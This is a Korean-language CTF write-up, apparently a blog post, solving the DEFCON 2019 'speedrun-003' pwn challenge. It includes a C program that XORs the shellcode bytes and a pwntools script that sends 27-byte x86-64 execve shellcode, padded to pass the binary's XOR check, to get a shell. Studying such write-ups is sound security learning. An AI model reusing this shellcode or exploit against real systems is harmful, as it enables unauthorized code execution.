How to Solve

  1. IDA, hex-ray : buf 입력 시, 길이가 30이어야 하고, \x90이 포함되면 안된다. 또한 상위 15개의 xor 값과 하위 15개의 xor 값이 일치하여야 한다.
  2. 64비트 shellcode 중 길이 27 bytes를 사용하였다.
  3. xor 계산 code
#include <stdio.h>

int main(void){
  //\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb
  //\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05
  int a[15]={0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91,
             0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb};
  int b[15]={0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e,
             0xb0, 0x3b, 0x0f, 0x05};
  int i;
  int hi = a[0];
  int bi = b[0];
  for(i=1;i<15;i++){
    hi^=a[i];
  }
  for(i=1;i<12;i++){
    bi^=b[i];
  }
  printf("%x\n", hi);
  printf("%x\n", bi);
}

Exploit

from pwn import *
p=process('./speedrun-003')

payload = '\x31\xc0\x48\xbb\xd1\x9d\x96\x91\xd0\x8c\x97\xff\x48\xf7\xdb\x53\x54\x5f\x99\x52\x57\x54\x5e\xb0\x3b\x0f\x05\x56\xff\xff'

p.sendlineafter('t\n', payload)
p.interactive()

Get The Shell

speedrun-003


'Writeup [pwn] > CTF 대회 기출' 카테고리의 다른 글

DEFCON 2019 Speedrun-006  (0) 2020.03.07
DEFCON 2019 Speedrun-005  (0) 2020.03.07
DEFCON 2019 Speedrun-004  (0) 2020.03.07
DEFCON 2019 Speedrun-002  (0) 2020.03.07
DEFCON 2019 Speedrun-001  (0) 2020.03.07

+ Recent posts